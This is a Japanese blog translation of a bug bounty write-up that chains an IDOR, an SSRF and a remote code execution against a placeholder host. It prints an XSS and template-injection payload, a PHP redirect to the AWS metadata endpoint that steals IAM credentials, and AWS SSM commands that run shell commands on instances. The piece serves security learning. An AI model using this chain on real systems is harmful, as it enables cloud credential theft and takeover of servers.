Shikata Ga Nai

Private? There is no such things.

How I found my first SSRF to RCE!を訳してみた

Hello there, (^^ゞ

 

最初の SSRF から RCE への方法をどのように見つけたかを。

 

脆弱性:

 IDOR、SSRF、RCE

 

記事:

 https://medium.com/@0x0Asif/how-i-found-my-first-rce-8f8033883dc4

 

今回は、最初の RCE をどのように見つけたかを。

ハンティング中に IDOR を見つけ、写真を含むすべての訪問者を見ることができ。

 

IDOR リクエスト:

 GET /visitors/?start_date=01/01/2021&end_date=07/23/2022&first_name=&last_name=&date_of_birth=&status=&reason_for_visit=&reason_for_visit_text=&start_record=0&total_record=10&selected_building_id=&building_id=1266 HTTP/2
    Host: subs.example.io

 

Building_id」パラメータは IDOR に対して脆弱で。

このパラメータ値は数値なので、他のユーザの情報を簡単に取得でき。

ユーザの情報を確認していたところ、リンクの例が 1つあることに気付き。

 https://subs.example.io/s3File?url=https://s3-us-west-1.amazon.com/filename.jpeg

 

Amazon s3バケットからユーザ画像を取得していて。

?url= パラメータを持つエンドポイントに注目して。

 

 

最初のステップ:

https://subs.example.io/s3File?url=https://google.com/ を試してみると。

Google インデックス ページを表示して。

そこで何かを印刷しようとしたのですが。

別のものを印刷しようとするとうまくいかず。

 

次に、このコードをサーバでホストし、そこで XSS を取得して。

 “><img src=x onerror=alert(document.domain);>{{7*7}}

 

次に、これを完全読み取り SSRF にエスカレートすることができ。

上で述べたように、「?url=」パラメータはインデックスのみを許可し。

このコードをサーバインデックスにホストして。

<?php header(‘Location: https://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-service-role-ssm-codedeploy', TRUE, 303); ?>

 

AWS キーの取得:

 https://subs.example.io/s3File?url=https://ssrf.hosted.site/

 

 

任意の AWS インスタンスで RCE をルートするための完全読み取り SSRF を取得して。

次に、AWS CLI を構成する必要があり。

 export AWS_ACCESS_KEY_ID=

 export AWS_SECRET_ACCESS_KEY=

 export AWS_DEFAULT_REGION=us-west-1

 export AWS_SESSION_TOKEN=

 

次に、このコマンド のような形式のインスタンスをコピーして。

aws ssm describe-instance-information — output text — query “InstanceInformationList[*]” to figure out all the instance and copy any of instance which format is like i-0a9e9b8343511285db9

 

https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/describe-instance-information.html

 

このコマンドを instanceid で適用して。

aws ssm send-command --document-name “AWS-RunShellScript” --comment “RCE” --targets “Key=instanceids,Values=instanceid” --parameters ‘commands=uname -a’

 

 

https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html

 

Best regards, (^^ゞ